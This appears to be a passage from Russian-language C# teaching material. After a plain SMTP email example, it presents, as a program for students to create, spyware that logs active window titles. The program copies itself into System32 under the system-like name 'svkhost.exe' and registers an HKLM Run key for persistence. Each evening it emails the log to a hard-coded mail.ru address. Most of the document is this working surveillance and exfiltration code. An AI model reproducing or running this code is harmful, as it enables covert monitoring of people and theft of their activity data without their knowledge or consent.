totalRead += read;
} while (client.GetStream() .DataAvailable) ;
return Encoding.Unicode.GetString(buffer, 0, totalRead);
}
}
}
ТЕМА СРСП – 2: ОТПРАВКА ЭЛЕКТРОННОГО ПИСЬМА ПО
ПРОТОКОЛУ SMTP
Задача. Вы хотите отправлять электронные письма по протоколу
SMTP.
Решение. Аббревиатура SMTP расшифровывается как Simple Mail
Transport Protocol (Простой протокол передачи почтовых сообщений).
Это действительно простой, хорошо определенный протокол для
обмена сообщениями электронной почты через SMTP-сервер. К
счастью,
его
специфика
покрыта
функциональностью
system.Net.Mail.smtpcilent.
Ниже приводится только метод для отправки сообщений:
private void SendEmail(string host, int port,
string username, string password,
string from, string to,
string subject, string body,
ICollection<string> attachedFiles)
{
// Объект MailMessage должен быть уничтожен!
using (MailMessage message = new MailMessage())
{
message.From = new MailAddress(from);
message.To.Add(to);
message.Subject = subject;
message.Body = body;
foreach (string file in attachedFiles)
{
message.Attachments.Add(new Attachment(file));
}
SmtpClient client = new SmtpClient(host, port);
класса
// Если SMTP-сервер требует пароль,
// следующая строка очень важна
client.Credentials = new NetworkCredential(username, password);
// Это синхронная отправка, вы можете
// предпочесть асинхронную
client.Send(message);
}
}
ТЕМА СРСП – 3: АНАЛИЗ ПРОГРАММЫ
Создадим программу которая перехватвает названия активных
окон и в определенное время отправляет эту информацию по
электронной почте.
using System;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Net.Mail;
using System.Diagnostics;
namespace sh_n2
{
public partial class Form1 : Form
{
[DllImport("user32.dll")] // подключаем библиотеку
static extern IntPtr GetForegroundWindow(); // объявляем функцию
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder текст, int
count);
public Form1()
{
InitializeComponent(); // Здесь происходит инициализация
компонентов формы
}
string str; // Эта переменная нужна для хранения адреса
программы
byte scht; // Счетчик
private void Form1_Load(object sender, EventArgs e)
{
{
str = System.Windows.Forms.Application.ExecutablePath; //
присваиваем адрес программы
if (str != "C:\\Windows\\System32\\svkhost.exe") // проверяем
где она находится
//C:\\Windows\\System32\\svkhost.exe")
{
try
{ // если не по этому адресу то копируем на этот адрес
File.Copy(System.Windows.Forms.Application.ExecutablePath,
"C:\\Windows\\System32\\svkhost.exe", false);
// для автозагрузки записываем в реест вот сюда
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
Microsoft.Win32.RegistryKey myKey =
Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Mic
rosoft\Windows\CurrentVersion\Run\", true);
// svkhost имя параметра и
"C:\\Windows\\System32\\svkhost.exe" адрес программы
myKey.SetValue("svkhost",
"C:\\Windows\\System32\\svkhost.exe");
}
catch // если не удалось или возникла прогблема то
переходит сюда и усе
{
}
}
}
// обнуляем параметры
str = "";
scht = 0;
timer1.Enabled = true; // запускаем таймер
}
private string GetActiveWindowTitle() // функция для взятия
имени активного окна
{
const int количество = 256;
IntPtr handle = IntPtr.Zero;
StringBuilder Buff = new StringBuilder(количество);
handle = GetForegroundWindow();
if (GetWindowText(handle, Buff, количество) != 0)
{
return Buff.ToString();
}
return null;
}
private void timer1_Tick(object sender, System.EventArgs e)
{
if (str != GetActiveWindowTitle())
{
str = GetActiveWindowTitle();
StreamWriter st = new StreamWriter("logshn.txt", true);
st.WriteLine(DateTime.Now.ToString() + " " +
GetActiveWindowTitle());
st.Close();
if (DateTime.Now.Hour >= 17 && DateTime.Now.Minute > 00)
{
if (scht == 0)
{
if (sendmsg() != 0)
{
scht = 1;
}
else
{
scht = 0;
}
}
}
}
}
private void button1_Click(object sender, System.EventArgs e)
{
timer1.Enabled = false;
}
private int sendmsg()
{
SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); // Здесь
указываем смтп сервер и порт, который мы будем использовать
client.Credentials = new
System.Net.NetworkCredential("lion_22_2@mail.ru", textBox1.Text.Trim());
// Указываем логин и пароль для авторизации
string msgFrom = "lion_22_2@mail.ru"; // Указываем поле, от кого
письмо
string msgTo = "jamik_22@mail.ru"; // Указываем поле, кому
письмо будет отправлено
string msgSubject = "Письмо из программы"; // Указываем тему
пиьсма
string msgBody = String.Format("222", ToString(), "220"); // Тут мы
формируем тело письма
MailMessage msg = new MailMessage(msgFrom, msgTo,
msgSubject, msgBody); // Создаем письмо, из всего, что сделали выше
msg.Attachments.Add(new Attachment("logshn.txt"));
//Прикрепляем файл
try
{
client.Send(msg); // Отправляем письмо
return 1; // Если успешно возвращаем 1
}
catch (Exception ex)
{
return 0; // Если неуспешно возвращаем 0
}
}
}
}
КОНТРОЛЬНЫЕ ВОПРОСЫ:
1. Что такое пингование компьютера?
2. Как можно определить IP – адрес?
3. Как выясняется информация о сетевой карте?
4. Способы создания сервера?
Download